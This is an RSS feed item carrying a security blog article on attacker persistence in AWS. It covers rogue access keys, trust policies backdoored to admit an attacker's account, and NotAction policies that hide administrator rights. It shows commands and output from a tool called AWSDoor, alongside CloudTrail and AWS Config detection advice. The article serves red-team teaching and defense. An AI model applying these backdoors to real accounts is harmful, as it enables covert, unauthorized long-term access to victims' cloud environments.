<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>AWS - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/en/tag/aws-en/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/en/tag/aws-en/</link>
	<description>The cybersecurity &#38; digital trust blog by Wavestone&#039;s consultants</description>
	<lastBuildDate>Thu, 11 Sep 2025 15:36:43 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>AWS - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/en/tag/aws-en/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>AWSDoor: Persistence on AWS</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 11 Sep 2025 15:25:09 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[AWS Organisation]]></category>
		<category><![CDATA[AWS Organization]]></category>
		<category><![CDATA[AWS Persistence]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[CloudTrail]]></category>
		<category><![CDATA[CloudWatach]]></category>
		<category><![CDATA[Detection AWS Persistence]]></category>
		<category><![CDATA[Persistence]]></category>
		<category><![CDATA[Persistence based on IAM]]></category>
		<category><![CDATA[Persistence based on resources]]></category>
		<category><![CDATA[red team]]></category>
		<category><![CDATA[S3 Bucket]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27372</guid>

					<description><![CDATA[<p>Over the past decade, cloud infrastructure such as Amazon Web Services (AWS), has been increasingly used to host critical infrastructure, manage sensitive data, and ensure global scalability. The shift to hybrid and cloud-native architecture has deeply transformed how infrastructure is...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/awsdoor-persistence-on-aws/">AWSDoor: Persistence on AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: justify;">Over the past decade<strong>, cloud infrastructure such as Amazon Web Services (AWS), has been increasingly used</strong> to host critical infrastructure, manage sensitive data, and ensure global scalability. The shift to hybrid and cloud-native architecture has deeply transformed how infrastructure is deployed, secured, and monitored.</p>
<p style="text-align: justify;">However, as cloud adoption accelerates, its features and complexity <strong>introduced new challenges associated with securing these environments</strong>. Even if cloud providers offer several security features such as, discretionary access control and logging mechanisms, many organizations still <strong>fail to implement effective cloud security strategies</strong> due to the novelty of these environments. Among the most predominant misconfigurations, <strong>misconfigured IAM roles, overly permissive policies</strong>, exposed credentials, and lack of visibility into cloud-native activity create opportunities for attackers to exploit.</p>
<p style="text-align: justify;">When an attacker gains initial access to a cloud environment whether through opportunistic access or active exploitation,<strong> the most common action</strong> following the initial compromise and privilege escalation is <strong>to deploy access persistence on the environment. </strong></p>
<p style="text-align: justify;">Unlike traditional on-premises networks, cloud environments offer several services and <strong>configuration loopholes that can be abused to maintain long-term access</strong> even after remediation efforts have begun.</p>
<p style="text-align: justify;">In this article, we’ll explore the <strong>concept of access persistence in AWS</strong>, dissecting the techniques adversaries can use to hide themselves within a cloud environment.</p>
<p style="text-align: justify;">All along this article, <strong>the features of a dedicated tool</strong> designed to simplify and automate the deployment of <strong>persistence techniques in AWS environments</strong> will be presented</p>
<p>&nbsp;</p>
<h2>Persistence on AWS</h2>
<h3>IAM persistence</h3>
<p style="text-align: justify;">In the context of AWS, <em>Identity and Access Management </em><strong>(IAM) is the cornerstone of security</strong>. It governs who can do what in the environment by defining roles, users, groups, and their permissions (policies) that determine access to resources: if you have <strong>not been explicitly allowed</strong> to perform an action , <strong>you won’t be able to do anything.</strong></p>
<p style="text-align: justify;">At a high level, IAM operates by <strong>associating identities (such as IAM users or roles) with policies</strong> that are <em>JSON</em> documents describing the privileges of an IAM object on a resource.</p>
<p style="text-align: justify;">These policies are highly granular, <strong>supporting conditions like IP restrictions, MFA enforcement, or access during specific timeframes</strong>. IAM configurations are not just access controls, they are part of the infrastructure itself.</p>
<p style="text-align: justify;">IAM has <strong>become a powerful vector for access persistence</strong> and unlike on an on-premise environment, an attacker with sufficient privileges doesn’t need to drop binaries or execute malicious software to maintain access on the environment. Instead, they <strong>can modify IAM policies</strong>, create new users, attach rogue permissions to existing roles, or backdoor trusted identities.</p>
<p style="text-align: justify;">What makes <strong>IAM-based persistence especially dangerous is its stealth and durability</strong>. Indeed, changes to IAM often <strong>blend in with legitimate administrative activity</strong>, making them harder to detect. If the environment is not well maintained or not reviewed on a regular basis, finding the <strong>malicious policy is like finding a needle in a haystack</strong>.</p>
<p style="text-align: justify;">In this section, we’ll explore <strong>common and lesser-known techniques attackers</strong> can use to establish persistence by modifying IAM configurations. We&#8217;ll break down practical examples and highlight the indicators defenders should monitor to detect and respond to these often-overlooked tactics</p>
<p>&nbsp;</p>
<h4>Access key</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">The <strong>101-persistence technique is adding an AccessKey </strong>to a user.</p>
<p style="text-align: justify;">On <em>AWS</em>, users can connect through the <em>CLI</em> using <em>AccessKey</em>. The easiest way to deploy persistence is by deploying an <em>AccessKey</em> on a privileged user.</p>
<p style="text-align: justify;">Once the <em>AccessKey</em> is created for the user, the attacker <strong>can access <em>AWS</em> through the <em>CLI</em> with the user’s privileges.</strong></p>
<p style="text-align: justify;">However, this technique has some limitations:</p>
<ul style="text-align: justify;">
<li>Only two <em>AccessKey</em> can be registered at once on a user.</li>
<li>Some <em>SCP</em>, a global policy applied by the organization on a sub-account can prevent users from using <em>AccessKey</em> or enforce <em>MFA</em></li>
</ul>
<p style="text-align: justify;">Regarding the limitation of number of AccessKey registered on a user, it is possible to:</p>
<ol>
<li style="text-align: justify;">List the AccessKey registered on a user</li>
<li style="text-align: justify;">Get the last time the <em>AccessKey</em> has been used: usually, if a user has more than one AccessKey, the second one has been lost, is not used anymore and can be deactivated and removed with an acceptable risk</li>
<li style="text-align: justify;">Delete the unused AccessKey:</li>
</ol>
<p>&nbsp;</p>
<figure id="attachment_27374" aria-describedby="caption-attachment-27374" style="width: 1017px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class=" wp-image-27374" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-437x174.png" alt="Information about the AccessKey has been used" width="1017" height="405" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-437x174.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1-1536x613.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1.png 1728w" sizes="(max-width: 1017px) 100vw, 1017px" /><figcaption id="caption-attachment-27374" class="wp-caption-text"><em>Information about the AccessKey has been used</em></figcaption></figure>
<p style="text-align: justify;">&nbsp;</p>
<p style="text-align: justify;">In order to list and delete an <em>AccessKey</em>, the following privileges are needed:</p>
<ul style="text-align: justify;">
<li><strong>iam:ListAccessKeys</strong>: retrieve the <em>AccessKeys</em> details</li>
<li><strong>iam:UpdateAccessKey</strong>: deactivate the key prior to its deletion</li>
<li><strong>iam:DeleteAccessKey</strong>: effectively delete the <em>AccessKey</em></li>
</ul>
<p style="text-align: justify;">For the <em>MFA</em> it is possible to register an <em>MFA</em> on a specific user without his consent allowing bypassing the restriction. However, if the <em>AccessKey</em> login is denied, this technique cannot be used.</p>
<p style="text-align: justify;">In order to add an <em>AccessKey</em> to a user, the following privilege is needed:</p>
<ul style="text-align: justify;">
<li>iam:CreateAccessKey</li>
</ul>
<p style="text-align: justify;">In order to add <em>MFA</em> to a user, the following privilege is needed:</p>
<ul>
<li style="text-align: justify;">aws:CreateVirtualMfaDevice</li>
<li style="text-align: justify;">aws:EnableMfaDevice</li>
</ul>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in <em>AWSDoor</em>:</p>
<p>&nbsp;</p>
<pre>python .\main.py -m AccessKey -u adele.vance<br>[+] Access key created for user: adele.vance<br>[+] Access key ID: AKIAWMFUPIEBGOX73NJY<br>[+] Access key Secret: p4g[…]i7ei</pre>
<p>&nbsp;</p>
<p>The <strong>key is then added to the user</strong>:</p>
<p>&nbsp;</p>
<figure id="attachment_27378" aria-describedby="caption-attachment-27378" style="width: 956px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-27378" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-437x175.png" alt="AWS Key added through AWSDoor" width="956" height="383" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-1536x614.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1-2048x819.png 2048w" sizes="(max-width: 956px) 100vw, 956px" /><figcaption id="caption-attachment-27378" class="wp-caption-text"><em>AWS Key added through AWSDoor</em></figcaption></figure>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">While adding an <em>AccessKey</em> to a user is the <strong>easiest way to achieve persistence in an AWS environment</strong> it is also one of the <strong>least stealthy methods</strong>.</p>
<p style="text-align: justify;">Indeed, if the detection team detected the environment compromise, it can easily find the <em>AccessKey</em> deployed by <strong>the compromised user through the AWS CloudTrail logs</strong>:</p>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27382" aria-describedby="caption-attachment-27382" style="width: 1024px" class="wp-caption aligncenter"><img decoding="async" class=" wp-image-27382" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-264x191.png" alt="AccesKey creation log" width="1024" height="741" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1-768x555.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-1.png 1505w" sizes="(max-width: 1024px) 100vw, 1024px" /><figcaption id="caption-attachment-27382" class="wp-caption-text"><em>AccesKey creation log</em></figcaption></figure>



<p> </p>
<p style="text-align: justify;">Moreover, some security solutions <strong>such as Cloud Security Posture Management system can detect this type of persistence</strong> if users usually do not use AccessKey.</p>
<p style="text-align: justify;">Finally, as a recommendation, it is usually better to <strong>avoid using IAM users with AccessKey and prefere using the AWS SSO</strong>: <a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html"><span style="color: #000080;">https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html</span></a></p>
<p style="text-align: justify;">Once the SSO authentication is configured, the number of “human” users drops to 0 with only the service ones remaining. It is then easier to <strong>spot rogue AccessKey and closely monitor existing ones</strong> (<em>CICD</em> service users for example).</p>
<p> </p>
<h4>Trust policy</h4>
<p style="text-align: justify;">In <em>AWS</em>, roles are <em>IAM</em> objects used to delegate access across services, accounts, or users. Unlike IAM users, <strong>roles do not have long-term credentials</strong>. Instead, <strong>they are assumed (used) through the sts:AssumeRole API</strong>, which returns short-lived credentials granting the permissions defined in the role’s permission policies.</p>
<p style="text-align: justify;">To control who can assume a role, <strong>AWS</strong> <strong>uses a special document called a trust policy</strong>. A trust policy specifies the <strong>trusted principals</strong> identities (users, roles, accounts, services, or federated users) that are <strong>allowed to assume the role</strong>. If a principal is not listed in a role’s trust policy, they simply cannot assume it, no matter what permissions they hold elsewhere.</p>
<p style="text-align: justify;">Real life usecase for AssumeRole and Trust Policy</p>
<p style="text-align: justify;">Imagine a company with multiple <em>AWS</em> accounts:</p>
<ul style="text-align: justify;">
<li>one for development</li>
<li>one for staging</li>
<li>one for production</li>
</ul>
<p style="text-align: justify;">Rather than creating and managing separate IAM users in each environment, <strong>the organization defines a centralized group of administrators in a management account</strong>.</p>
<p> </p>
<figure id="attachment_27384" aria-describedby="caption-attachment-27384" style="width: 945px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27384" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-345x191.png" alt="Principe of AssumeRole through TrustPolicy" width="945" height="523" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-345x191.png 345w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-768x425.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1-1536x849.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1.png 1763w" sizes="auto, (max-width: 945px) 100vw, 945px" /><figcaption id="caption-attachment-27384" class="wp-caption-text"><em>Principe of AssumeRole through TrustPolicy</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Each target account <strong>defines a role with elevated privileges</strong> (e.g., CrossAdminAccess), and configures a trust policy <strong>allowing only the management account&#8217;s IAM identities to assume it</strong>. The TrustPolicy, deployed on each target account will look like this:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"<br />      },<br />      "Action": "sts:AssumeRole",<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">This approach provides <strong>clean separation between environments while maintaining centralized control</strong>. Admins &#8220;switch roles&#8221; from the management account into the other accounts only when needed without duplicating credentials.</p>
<p style="text-align: justify;">After the AssumeRole action, the administrator in the Management account will be granted temporary administration privileges on the targeted account.</p>
<p style="text-align: justify;"> </p>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">As it is shown in the previous <em>TrustPolicy</em>, the capacity to assume a specific role in an account <strong>is managed by the policy that explicitly allows a foreign account</strong> to assume a role in the target account.</p>
<p style="text-align: justify;">However, <strong>nothing enforces the TrustPolicy to allow only an account from known and trusted account</strong>. An attacker with the privileges to modify a <em>TrustPolicy</em> can backdoor the policy by allowing his own <em>AWS</em> account to assume the role in the compromised account:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": [<br />          "arn:aws:iam::${attackerAccountId}:role/fakeRole"<br />        ]<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br /><br /></pre>
<p>Once this policy is applied, it is <strong>possible to assume the backdoored role directly from the external</strong>.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py -m TrustPolicy -a FAKEROLE -r arn:aws:iam::584739118107:role/FakeRoleImitatingTargetRoleNames<br />[-] Initial trust policy:<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "Statement1",<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": "arn:aws:iam::438465151234:root"<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br />[+] New trust policy:<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Sid": "Statement1",<br />      "Effect": "Allow",<br />      "Principal": {<br />        "AWS": [<br />          "arn:aws:iam::438465151234:user/ADM01",<br />          "arn:aws:iam::584739118107:role/FakeRoleimitatingTargetRoleNames"<br />        ]<br />      },<br />      "Action": "sts:AssumeRole"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Trust policy for FAKEROLE updated</pre>
<p> </p>
<figure id="attachment_27386" aria-describedby="caption-attachment-27386" style="width: 991px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27386" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-437x179.png" alt="Trust policy modified using AWSDoor" width="991" height="406" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-437x179.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-768x314.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1-1536x629.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_45-FR-Persitence-on-AWS.docx-Word-1.png 1774w" sizes="auto, (max-width: 991px) 100vw, 991px" /><figcaption id="caption-attachment-27386" class="wp-caption-text"><em>Trust policy modified using AWSDoor</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">The tool allows you to:</p>
<ul>
<li style="text-align: justify;"><strong>target a specific statement with the -s argument</strong>: by default, the tool will inject the trust policy in the first Allow statement it finds. If there are multiple statements in the policy, you can use the -s parameter to target a specific statement</li>
<li style="text-align: justify;"><strong>create a new statement with the -c argument</strong>: with this option you can force the creation of a new statement with a specific name (MALICIOUS in the example below)</li>
</ul>
<p> </p>
<figure id="attachment_27388" aria-describedby="caption-attachment-27388" style="width: 1280px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27388" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-286x191.png" alt="Creation of a new statement" width="1280" height="855" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-286x191.png 286w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-58x39.png 58w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1-768x513.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_01-FR-Persitence-on-AWS.docx-Word-1.png 1478w" sizes="auto, (max-width: 1280px) 100vw, 1280px" /><figcaption id="caption-attachment-27388" class="wp-caption-text"><em>Creation of a new statement</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">This type of persistence <strong>is a powerful persistence mechanism in AWS environments</strong>. This technique <strong>does not require storing credentials inside the victim environment</strong>, making it very stealthy and durable, especially because the detection team usually focuses only on access keys or local role usage.</p>
<p style="text-align: justify;">Detection of this persistence <strong>method requires close monitoring of trust policy changes</strong>. AWS CloudTrail records events like UpdateAssumeRolePolicy, which can reveal when a trust policy is modified.</p>
<p> </p>
<figure id="attachment_27390" aria-describedby="caption-attachment-27390" style="width: 931px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27390" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-437x176.png" alt="Event UpdateAssumeRolePolicy" width="931" height="375" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-768x310.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1-1536x620.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_17-FR-Persitence-on-AWS.docx-Word-1.png 1944w" sizes="auto, (max-width: 931px) 100vw, 931px" /><figcaption id="caption-attachment-27390" class="wp-caption-text"><em>Event UpdateAssumeRolePolicy</em></figcaption></figure>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Likewise, <strong>AWS Config can be used with custom rules to detect TrustPolicy targeting</strong> unmanaged account.</p>
<p> </p>
<h4>NotAllow</h4>
<h5><span style="text-decoration: underline;">Attack</span></h5>
<p style="text-align: justify;">An IAM role policy is a JSON document <strong>attached to an IAM role that defines what actions the role is allowed</strong> (or denied) to perform, on which resources, and under which conditions.</p>
<p style="text-align: justify;">For example, the following policy allows the associated role to list all S3 buckets in the account.</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "Action": "s3:ListBucket",<br />      "Resource": "*"<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">In the policy syntax, <strong>it is possible to use negation operator</strong>: instead of defining a whitelist of allowed action, it is possible to define a blacklist of actions.</p>
<p style="text-align: justify;">Indeed, <strong>by using the NotAction operator, AWS will apply the statement effect to every action</strong> except those explicitly listed.</p>
<p style="text-align: justify;">For example, the following policy:</p>
<p> </p>
<pre>{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": "s3:ListBucket",<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br /></pre>
<p style="text-align: justify;">This policy will allow the role to <strong>perform any action except the ListBucket action on the cloudtrails-logs-01032004 S3 bucket</strong>: it basically grants the associated role the maximum privileges on the account.</p>
<p style="text-align: justify;">For a defender, at first glance, <strong>this policy looks like an inoffensive policy targeting a S3 resource</strong>, but it in fact grants AdministratorAccess privileges to the role.</p>
<p style="text-align: justify;">The attacker <strong>can then backdoor the specific role using the TrustPolicy</strong> persistence as explained before to get a full remote access to the AWS account.</p>
<p> </p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>This technique is implemented in AWSDoor:</p>
<p> </p>
<pre>python .\main.py -m NotAction -r FAKEROLE -p ROGUEPOLICY<br />[+] The following policy will be added :<br />{<br />  "Version": "2012-10-17",<br />  "Statement": [<br />    {<br />      "Effect": "Allow",<br />      "NotAction": [<br />        "s3:ListBucket"<br />      ],<br />      "NotResource": "arn:aws:s3:::cloudtrails-logs-01032004"<br />    }<br />  ]<br />}<br /><br />[+] Do you want to apply this change? (yes/no): yes<br />[+] Created policy ARN: arn:aws:iam::438465151234:policy/ROGUEPOLICY<br />[+] Attaching the policy to FAKEROLE<br />[+] Successfully created policy ROGUEPOLICY and attached to FAKEROLE</pre>
<p> </p>
<p style="text-align: justify;">For the policy, there are two possibilities:</p>
<ul>
<li style="text-align: justify;"><strong>Attached policy</strong>: this is the most common way to add a policy to a role. First a policy is created with the NotAction statement, then the policy is attached to the role. The policy will then appear in the IAM/Policies panel:</li>
</ul>
<p> </p>
<figure id="attachment_27393" aria-describedby="caption-attachment-27393" style="width: 724px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27393" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-437x131.png" alt="Role policy attached" width="724" height="217" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-437x131.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-71x21.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1-768x230.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_37-FR-Persitence-on-AWS.docx-Word-1.png 1374w" sizes="auto, (max-width: 724px) 100vw, 724px" /><figcaption id="caption-attachment-27393" class="wp-caption-text"><em>Role policy attached</em></figcaption></figure>
<p> </p>
<ul>
<li style="text-align: justify;"><strong>Inline policy (-i)</strong>: this is the quickiest way to add a policy to a role. The policy is directly created at the role level (hence the inline). While it is easier to create such policy it is usually seen as bad configuration practice because the policy will not appear in the IAM/policies panel, making it harder to track it back during a configuration review.</li>
</ul>
<p style="text-align: justify;">Therefore, specific compliance tools can flag the inline policy. Not because it is malicious but because it is not compliant with security best practices.</p>
<p> </p>
<figure id="attachment_27395" aria-describedby="caption-attachment-27395" style="width: 987px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27395" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-437x186.png" alt="Inline policy created" width="987" height="420" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-437x186.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-768x326.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1-1536x653.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_35_51-FR-Persitence-on-AWS.docx-Word-1.png 1562w" sizes="auto, (max-width: 987px) 100vw, 987px" /><figcaption id="caption-attachment-27395" class="wp-caption-text"><em>Inline policy created</em></figcaption></figure>
<p> </p>
<h5><span style="text-decoration: underline;">Defense</span></h5>
<p style="text-align: justify;">From a defender’s perspective, <strong>the use of NotAction along with Allow effect in IAM policies should immediately raise suspicion</strong>, especially when paired with NotResource fields.</p>
<p style="text-align: justify;">The following detection and mitigation strategies can help security teams defend against this type of privilege escalation:</p>
<ul>
<li style="text-align: justify;"><strong>Monitor IAM Policy Changes</strong> via CloudTrail: any creation or modification of IAM policies can be tracked through CloudTrail with the following event: CreatePolicy, PutRolePolicy, AttachRolePolicy, CreatePolicyVersion and SetDefaultPolicyVersion</li>
<li style="text-align: justify;"><strong>Investigation on policy documents containing the NotAction</strong> This can be automated by creating associated scenario on CloudWatch (NotAction in requestParameters.policyDocument)</li>
<li style="text-align: justify;"><strong>Enforce compliance check with AWS Config</strong>: a custom config rule can be defined to flag any policy including NotAction or NotRessource with an Allow effect</li>
</ul>
<p> </p>
<h3>Resource based persistence</h3>
<p style="text-align: justify;">In AWS, <strong>it&#8217;s common to attach IAM roles to resources like</strong> <strong>Lambda functions, EC2 instances</strong>, or ECS tasks. This lets those services access other AWS resources securely, based on the permissions defined in the role. For example, an EC2 instance might use a role to read secrets from Secrets Manager or push logs to CloudWatch.</p>
<p style="text-align: justify;">From an attacker&#8217;s point of view, <strong>this setup can be useful for persistence</strong>. If they manage to compromise a resource that has a highly privileged role attached, such as one with AdministratorAccess, they can use the role to interact with AWS just like the resource would.</p>
